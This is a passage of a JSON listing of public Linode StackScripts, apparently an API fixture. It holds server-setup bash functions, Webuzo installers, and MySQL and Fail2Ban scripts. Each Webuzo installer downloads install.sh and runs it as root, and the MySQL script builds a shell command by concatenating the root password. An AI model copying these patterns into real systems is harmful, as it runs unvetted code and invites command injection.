{\n # system_add_user(username, password, groups, shell=/bin/bash)\n USERNAME=`lower
$1`\n PASSWORD=$2\n SUDO_GROUP=$3\n SHELL=$4\n if [ -z \"$4\" ];
then\n SHELL=\"/bin/bash\"\n fi\n useradd --create-home --shell
\"$SHELL\" --user-group --groups \"$SUDO_GROUP\" \"$USERNAME\"\n echo \"$USERNAME:$PASSWORD\"
| chpasswd\n}\n\nfunction system_add_system_user {\n # system_add_system_user(username,
home, shell=/bin/bash)\n USERNAME=`lower $1`\n HOME_DIR=$2\n SHELL=$3\n if
[ -z \"$3\" ]; then\n SHELL=\"/bin/bash\"\n fi\n useradd --system
--create-home --home-dir \"$HOME_DIR\" --shell \"$SHELL\" --user-group $USERNAME\n}\n\nfunction
system_lock_user {\n # system_lock_user(username)\n passwd -l \"$1\"\n}\n\nfunction
system_get_user_home {\n # system_get_user_home(username)\n cat /etc/passwd
| grep \"^$1:\" | cut --delimiter=\":\" -f6\n}\n\nfunction system_user_add_ssh_key
{\n # system_user_add_ssh_key(username, ssh_key)\n USERNAME=`lower $1`\n USER_HOME=`system_get_user_home
\"$USERNAME\"`\n sudo -u \"$USERNAME\" mkdir \"$USER_HOME/.ssh\"\n sudo
-u \"$USERNAME\" touch \"$USER_HOME/.ssh/authorized_keys\"\n sudo -u \"$USERNAME\"
echo \"$2\" >> \"$USER_HOME/.ssh/authorized_keys\"\n chmod 0600 \"$USER_HOME/.ssh/authorized_keys\"\n}\n\nfunction
system_sshd_edit_bool {\n # system_sshd_edit_bool (param_name, \"Yes\"|\"No\")\n VALUE=`lower
$2`\n if [ \"$VALUE\" == \"yes\" ] || [ \"$VALUE\" == \"no\" ]; then\n sed
-i \"s/^#*\\($1\\).*/\\1 $VALUE/\" /etc/ssh/sshd_config\n fi\n}\n\nfunction
system_sshd_permitrootlogin {\n system_sshd_edit_bool \"PermitRootLogin\"
\"$1\"\n}\n\nfunction system_sshd_passwordauthentication {\n system_sshd_edit_bool
\"PasswordAuthentication\" \"$1\"\n}\n\nfunction system_update_hostname {\n #
system_update_hostname(system hostname)\n if [ -z \"$1\" ]; then\n echo
\"system_update_hostname() requires the system hostname as its first argument\"\n return
1;\n fi\n echo $1 > /etc/hostname\n hostname -F /etc/hostname\n echo
-e \"\\n127.0.0.1 $1 $1.local\\n\" >> /etc/hosts\n}\n\nfunction system_security_logcheck
{\n aptitude -y install logcheck logcheck-database\n # configure email\n #
start after setup\n}\n\nfunction system_security_fail2ban {\n aptitude -y
install fail2ban\n}\n\nfunction system_security_ufw_configure_basic {\n #
see https://help.ubuntu.com/community/UFW\n ufw logging on\n\n ufw default
deny\n\n ufw allow ssh/tcp\n ufw limit ssh/tcp\n\n ufw allow http/tcp\n ufw
allow https/tcp\n\n ufw enable\n}\n\nfunction system_configure_private_network
{\n # system_configure_private_network(private_ip)\n PRIVATE_IP=$1\n NETMASK=\"255.255.128.0\"\n cat
>>/etc/network/interfaces <<EOF\nauto eth0:0\niface eth0:0 inet static\n address
$PRIVATE_IP\n netmask $NETMASK\nEOF\n touch /tmp/restart_initd-networking\n}\n\nfunction
restart_services {\n # restarts upstart services that have a file in /tmp/needs-restart/\n for
service_name in $(ls /tmp/ | grep restart-* | cut -d- -f2-10); do\n service
$service_name restart\n rm -f /tmp/restart-$service_name\n done\n}\n\nfunction
restart_initd_services {\n # restarts upstart services that have a file in
/tmp/needs-restart/\n for service_name in $(ls /tmp/ | grep restart_initd-*
| cut -d- -f2-10); do\n /etc/init.d/$service_name restart\n rm
-f /tmp/restart_initd-$service_name\n done\n}\n\n# Maintain for compatibility
with scripts using this library for Ubuntu 10.04\n\nfunction system_get_codename
{\n echo `lsb_release -sc`\n}\n\nfunction system_get_release {\n echo
`lsb_release -sr`\n}\n\nfunction system_sshd_pubkeyauthentication {\n system_sshd_edit_bool
\"PubkeyAuthentication\" \"$1\"\n}\n\nfunction system_update_locale_en_US_UTF_8
{\n # locale-gen en_US.UTF-8\n dpkg-reconfigure locales\n update-locale
LANG=en_US.UTF-8\n}\n\nfunction system_enable_universe {\n sed -i ''s/^#\\(.*deb.*\\)
universe/\\1 universe/'' /etc/apt/sources.list\n aptitude update\n}\n\nfunction
system_security_ufw_install {\n aptitude -y install ufw\n}", "user_defined_fields":
[]}, {"id": 9228, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5",
"label": "Magento 1.7 powered by Webuzo", "description": "Magento is an Open
Source ecommerce web application launched on March 31, 2008. It was created
by Varien, building on components of the Zend Framework.\r\n\t\t\t\r\nWebuzo
is a Single User Control Panel which helps users deploy Web Apps (WordPress,
Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc)
on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License
here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn
completion of the installation process, access http://your-ip:2004 to configure
Magento 1.7 and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact",
"ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit",
"linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"Magento 1.7 powered by Webuzo", "script": "#!/bin/bash\n# <udf name=\"webuzo_license_key\"
label=\"Premium Webuzo License Key\" example=\"WEBUZO-XXXXX-XXXXX-XXXXX\"/>\n\n###########################################################################################################\n#
Install Magento 1.7 and Softaculous Webuzo\n# Description -\n# About Webuzo
:\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps
(WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java,
MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Magento
1.7 :\n# Magento is an Open Source ecommerce web application launched on March
31, 2008.\n# It was created by Varien, building on components of the Zend
Framework.\n###########################################################################################################\n\n#
Install Magento 1.7 Script using Webuzo\nfunction install_webuzo_script(){\n \n #
Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php
>> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl
\"http://$ip:2004/install.php?prepareinstall=465&license=$1\"\n \n}\n\n# Install
Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo
Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log
2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log
2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n #
Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling
Magento 1.7 and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script
$WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the
result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho
\" Installation Completed \"\necho \"-------------------------------------\"\necho
\"Congratulations, Magento 1.7 has been successfully installed\"\necho \" \"\necho
\"You can now configure Magento 1.7 and Softaculous Webuzo at the following
URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing
Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 978956,
"username": "meenubediShine", "user_gravatar_id": "ac16f37ccd972a6f698dab5aab1188b2",
"label": "Test", "description": "Test", "ordinal": 0, "logo_url": "", "images":
["linode/alpine3.12", "linode/alpine3.15"], "deployments_total": 0, "deployments_active":
0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated":
"2018-01-02T03:04:05", "rev_note": "Revision Note", "script": "#!/bin/bash\nteffryt",
"user_defined_fields": []}, {"id": 9229, "username": "webuzo", "user_gravatar_id":
"cf0348f835d60e6d133040f49bb36ec5", "label": "SVNManager powered by Webuzo",
"description": "SVNManager is a PHP web based tool to administer a Apache Subversion
repository server. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which
helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps
(Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the
cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath
to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion
of the installation process, access http://your-ip:2004 to configure SVNManager
and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact",
"ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit",
"linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"SVNManager powered by Webuzo", "script": "#!/bin/bash\n# <udf name=\"webuzo_license_key\"
label=\"Premium Webuzo License Key\" example=\"WEBUZO-XXXXX-XXXXX-XXXXX\"/>\n\n###########################################################################################################\n#
Install SVNManager and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo
is a Single User Control Panel which helps users deploy Web Apps (WordPress,
Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB,
etc) on their virtual machines or in the cloud.\n#\n# About SVNManager :\n# SVNManager
is a PHP web based tool to administer a Apache Subversion repository server.
\n###########################################################################################################\n\n#
Install SVNManager Script using Webuzo\nfunction install_webuzo_script(){\n \n #
Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php
>> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl
\"http://$ip:2004/install.php?prepareinstall=380&license=$1\"\n \n}\n\n# Install
Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo
Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log
2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log
2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n #
Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling
SVNManager and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script
$WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the
result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho
\" Installation Completed \"\necho \"-------------------------------------\"\necho
\"Congratulations, SVNManager has been successfully installed\"\necho \" \"\necho
\"You can now configure SVNManager and Softaculous Webuzo at the following URL
:\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous
Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 1193741, "username":
"jrzavaschi1992", "user_gravatar_id": "6c0262d5482846284b510b579df19fdd", "label":
"MySQL", "description": "Install MySQL or MariaDB to a Linode. Can also be used
as a library for other StackScripts.", "ordinal": 0, "logo_url": "", "images":
["linode/ubuntu14.04lts", "linode/centos7", "linode/debian8", "linode/fedora22"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"Initial import.", "script": "#!/usr/bin/env python\n\n\"\"\"\nMySQL StackScript\n\t\n\tAuthor:
Ricardo N Feliciano <rfeliciano@linode.com>\n\tVersion: 1.0.0.0\n\tRequirements:\n\t\t-
ss://linode/python-library <ssinclude StackScriptID=\"3\">\n\nThis StackScript
both deploys and provides a library for MySQL. The functions \nin this StackScript
are designed to be run across the Linode Core Distributions:\n\t- Ubuntu\n\t-
CentOS\n\t- Debian\n\t- Fedora\n\nStackScript User Defined Variables:\n\n<UDF
name=\"db_root_password\" label=\"MySQL/MariaDB root password\" default=\"\"
/>\n\"\"\"\n\nimport os\nimport subprocess\nimport sys\n\ntry: # we''ll need
to rename included StackScripts before we can import them\n\tos.rename(\"/root/ssinclude-3\",
\"/root/pythonlib.py\")\nexcept:\n\tpass\n\nimport pythonlib\n\n\ndef mysql_install(root_pw
= False, db_name = False):\n\t\"\"\"Install MySQL or MariaDB\"\"\"\n\t# add
logging support\n\n\tpackage = {\n\t\t''debian'': ''mysql'',\n\t\t''redhat'':
''mariadb''\n\t}\n\n\tpythonlib.system_package_install(package[pythonlib.distro[''family'']]
+\n\t\"-server\")\n\t\n\tmysql_start()\n\n\t# if provided with a root password,
set it\n\tif root_pw :\n\t\tsubprocess.call([''mysqladmin'', ''-u'', ''root'',
''password'', root_pw])\n\t\n\t# if a database name was provided, let''s create
it\n\tif db_name :\n\t\tsubprocess.call(''mysql -uroot -p'' + root_pw + '' -e
\"create database '' + db_name + ''\"'', shell=True)\n\n\ndef mysql_start():\n\t\"\"\"Start
MariaDB on CentOS and Fedora\"\"\"\n\n\tif pythonlib.distro[''family''] ==
\"redhat\":\n\t\tsubprocess.call([''systemctl'', ''start'', ''mariadb.service''])\n\n\ndef
main():\n\t\"\"\"Install MySQL or MariaDB\"\"\"\n\t# add logging support\n\t\n\tpythonlib.init()\n\tpythonlib.system_update()\n\n\tif
os.environ[''DB_ROOT_PASSWORD''] != \"\":\n\t\tmysql_install(os.environ[''DB_ROOT_PASSWORD''])\n\telse:\n\t\tmysql_install()\n\n\tpythonlib.end()\n\n\nif
__name__ == \"__main__\":\n\tsys.exit(main())", "user_defined_fields": [{"name":
"db_root_password", "label": "MySQL/MariaDB root password", "default": ""}]},
{"id": 9230, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5",
"label": "Vty powered by Webuzo", "description": "Vty is a web-based database
manager script written with Php. It''s for Mysql.\r\n\r\nYou can connect to
Mysql and see and edit your databases and tables. \r\n\t\t\t\r\nWebuzo is a
Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla,
Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their
virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath
to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion
of the installation process, access http://your-ip:2004 to configure Vty and
Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal":
0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit",
"linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"Vty powered by Webuzo", "script": "#!/bin/bash\n# <udf name=\"webuzo_license_key\"
label=\"Premium Webuzo License Key\" example=\"WEBUZO-XXXXX-XXXXX-XXXXX\"/>\n\n###########################################################################################################\n#
Install Vty and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo
is a Single User Control Panel which helps users deploy Web Apps (WordPress,
Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB,
etc) on their virtual machines or in the cloud.\n#\n# About Vty :\n# Vty is
a web-based database manager script written with Php. It''s for Mysql.\n# You
can connect to Mysql and see and edit your databases and tables. \n###########################################################################################################\n\n#
Install Vty Script using Webuzo\nfunction install_webuzo_script(){\n \n #
Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php
>> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl
\"http://$ip:2004/install.php?prepareinstall=327&license=$1\"\n \n}\n\n# Install
Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo
Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log
2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log
2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n #
Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling
Vty and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script
$WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the
result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho
\" Installation Completed \"\necho \"-------------------------------------\"\necho
\"Congratulations, Vty has been successfully installed\"\necho \" \"\necho \"You
can now configure Vty and Softaculous Webuzo at the following URL :\"\necho
\"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous
Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 575759, "username":
"jfeinbaum", "user_gravatar_id": "b5810c3cbafb05a4d8a19e3a11e37ab3", "label":
"dingdong", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/alpine3.10"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"", "script": "#!/bin/bash\n# This block defines the variables the user of the
script needs to input\n# when deploying using this script.\n#\n#\n#<UDF name=\"hostname\"
label=\"The hostname for the new Linode.\">\n# HOSTNAME=\n#\n#<UDF name=\"fqdn\"
label=\"The new Linode''s Fully Qualified Domain Name\">\n# FQDN=\n\n# This
sets the variable $IPADDR to the IP address the new Linode receives.\nIPADDR=$(/sbin/ifconfig
eth0 | awk ''/inet / { print $2 }'' | sed ''s/addr://'')\n\n# This updates the
packages on the system from the distribution repositories.\napt-get update\napt-get
upgrade -y\n\n# This section sets the hostname.\necho $HOSTNAME > /etc/hostname\nhostname
-F /etc/hostname\n\n# This section sets the Fully Qualified Domain Name (FQDN)
in the hosts file.\necho $IPADDR $FQDN $HOSTNAME >> /etc/hosts", "user_defined_fields":
[{"name": "hostname", "label": "The hostname for the new Linode."}, {"name":
"fqdn", "label": "The new Linode''s Fully Qualified Domain Name"}]}, {"id":
712720, "username": "aleksd2000", "user_gravatar_id": "a22bad2fb913c1cd5d89fab0d03de7ee",
"label": "Fail2Ban Server", "description": "Fail2Ban Server Setup\n\nFail2Ban
is an intrusion prevention software framework that protects computer servers
from brute-force attacks. Written in the Python programming language, it is
able to run on POSIX systems that have an interface to a packet-control system
or firewall installed locally, for example, iptables or TCP Wrapper\n\nThis
script installs the Fail2Ban application and creates two \"Jails\" one for SSH,
and the other for SSHD.\n\nI hope people find this useful.", "ordinal": 0, "logo_url":
"", "images": ["linode/debian8", "linode/debian9", "linode/debian10"], "deployments_total":
0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05",
"updated": "2018-01-02T03:04:05", "rev_note": "Added support for Debian 8 and
9, and added default jail.local file", "script": "#!/bin/bash\n\n# Updating
APT Database\napt-get update\n# Taking care of an initial upgrade\napt-get -y
upgrade\n\n# Installing Fail2Ban Server\napt-get -y install fail2ban\n\n# Creating
initial Jail.local File\ncat <<EOF > /etc/fail2ban/jail.local\n\n# Default banning
action (e.g. iptables, iptables-new,\n# iptables-multiport, shorewall, etc)
It is used to define\n# action_* variables. Can be overridden globally or per\n#
section within jail.local file\n\n#banaction = ufw\n#banaction_allports = ufw\n\n[ssh]\n\nenabled =
true\nport = ssh\nfilter = sshd\nlogpath = /var/log/auth.log\nmaxretry
= 1\nfindtime = 1d\nbantime = 1y\n\n[sshd]\nenabled = true\nmaxretry = 1\nfindtime
= 1d\nbantime = 1y\n\nEOF\n\nsystemctl reload fail2ban", "user_defined_fields":
[]}, {"id": 9233, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5",
"label": "Plandora powered by Webuzo", "description": "Plandora project was
born to be a tool to help the software development process, from the customer
requirement until the task conclusion, and consequently gather the \"history\"
of project.\r\nThe Plandora system can be useful for teams that have problems
with resource bottle-necks, parallel projects, critical dead lines, necessity
for scope documentation of tasks and requirements, etc. \r\n\t\t\t\r\nWebuzo
is a Single User Control Panel which helps users deploy Web Apps (WordPress,
Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc)
on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License
here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn
completion of the installation process, access http://your-ip:2004 to configure
Plandora and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact",
"ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit",
"linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"Plandora powered by Webuzo", "script": "#!/bin/bash\n# <udf name=\"webuzo_license_key\"
label=\"Premium Webuzo License Key\" example=\"WEBUZO-XXXXX-XXXXX-XXXXX\"/>\n\n###########################################################################################################\n#
Install Plandora and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo
is a Single User Control Panel which helps users deploy Web Apps (WordPress,
Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB,
etc) on their virtual machines or in the cloud.\n#\n# About Plandora :\n# Plandora
project was born to be a tool to help the software development process, from
the customer \n# requirement until the task conclusion, and consequently gather
the \"history\" of project.\n###########################################################################################################\n\n#
Install Plandora Script using Webuzo\nfunction install_webuzo_script(){\n \n #
Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php
>> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl
\"http://$ip:2004/install.php?prepareinstall=424&license=$1\"\n \n}\n\n# Install
Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo
Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log
2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log
2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n #
Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling
Plandora and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script
$WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the
result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho
\" Installation Completed \"\necho \"-------------------------------------\"\necho
\"Congratulations, Plandora has been successfully installed\"\necho \" \"\necho
\"You can now configure Plandora and Softaculous Webuzo at the following URL
:\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous
Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 9234, "username":
"webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "ClientExec
powered by Webuzo", "description": "ClientExec offers online help desk software
intended to enhance the ability of small and mid-sized hosting businesses to
manage help and support issues. Because the online help desk software can be
accessed from any web browser, managers and staff can increase the flexibility
and effectiveness with which they address client support issues.\r\n\r\nClientExec''s
software includes an easy-to-use interface that enhances communication between
clients and staff. E-mail messages sent through the online help desk software
are automatically routed and tracked, so you don''t have to spend time chasing
after lost messages. Support tickets can be quickly sorted, filtered, and assigned
to individual team members, ensuring that the tickets are addressed in the most
efficient possible manner.\r\n\t\t\t\r\nWebuzo is a Single User Control Panel
which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System
Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in
the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath
to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion
of the installation process, access http://your-ip:2004 to configure ClientExec
and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact",
"ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit",
"linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"ClientExec powered by Webuzo", "script": "#!/bin/bash\n# <udf name=\"webuzo_license_key\"
label=\"Premium Webuzo License Key\" example=\"WEBUZO-XXXXX-XXXXX-XXXXX\"/>\n\n###########################################################################################################\n#
Install ClientExec and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo
is a Single User Control Panel which helps users deploy Web Apps (WordPress,
Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB,
etc) on their virtual machines or in the cloud.\n#\n# About ClientExec :\n# ClientExec
offers online help desk software intended to enhance the ability of small and
mid-sized \n# hosting businesses to manage help and support issues.\n# Because
the online help desk software can be accessed from any web browser, managers
and \n# staff can increase the flexibility and effectiveness with which they
address client support issues.\n###########################################################################################################\n\n#
Install ClientExec Script using Webuzo\nfunction install_webuzo_script(){\n \n #
Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php
>> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl
\"http://$ip:2004/install.php?prepareinstall=478&license=$1\"\n \n}\n\n# Install
Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo
Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log
2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log
2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n #
Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling
ClientExec and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script
$WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the
result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho
\" Installation Completed \"\necho \"-------------------------------------\"\necho
\"Congratulations, ClientExec has been successfully installed\"\necho \" \"\necho
\"You can now configure ClientExec and Softaculous Webuzo at the following URL
:\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous
Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 978962, "username":
"meenubediShine", "user_gravatar_id": "ac16f37ccd972a6f698dab5aab1188b2", "label":
"StackScript Label", "description": "Description", "ordinal": 0, "logo_url":
"", "images": ["linode/alpine3.12", "linode/alpine3.13", "linode/alpine3.15"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"Revision Note 1", "script": "#!/bin/bash\n\nScript", "user_defined_fields":
[]}, {"id": 9235, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5",
"label": "Croogo powered by Webuzo", "description": "Croogo is a free, open
source, content management system for PHP. It is powered by CakePHP MVC framework.
\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy
Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP,
Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can
get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation
Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the
installation process, access http://your-ip:2004 to configure Croogo and Softaculous
Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0,
"logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit",
"linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"Croogo powered by Webuzo", "script": "#!/bin/bash\n# <udf name=\"webuzo_license_key\"
label=\"Premium Webuzo License Key\" example=\"WEBUZO-XXXXX-XXXXX-XXXXX\"/>\n\n###########################################################################################################\n#
Install Croogo and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo
is a Single User Control Panel which helps users deploy Web Apps (WordPress,
Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB,
etc) on their virtual machines or in the cloud.\n#\n# About Croogo :\n# Croogo
is a free, open source, content management system for PHP. It is powered by
CakePHP MVC framework. \n###########################################################################################################\n\n#
Install Croogo Script using Webuzo\nfunction install_webuzo_script(){\n \n #
Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php
>> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl
\"http://$ip:2004/install.php?prepareinstall=443&license=$1\"\n \n}\n\n# Install
Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo
Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log
2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log
2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n #
Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling
Croogo and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script
$WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the
result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho
\" Installation Completed \"\necho \"-------------------------------------\"\necho
\"Congratulations, Croogo has been successfully installed\"\necho \" \"\necho
\"You can now configure Croogo and Softaculous Webuzo at the following URL :\"\necho
\"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous
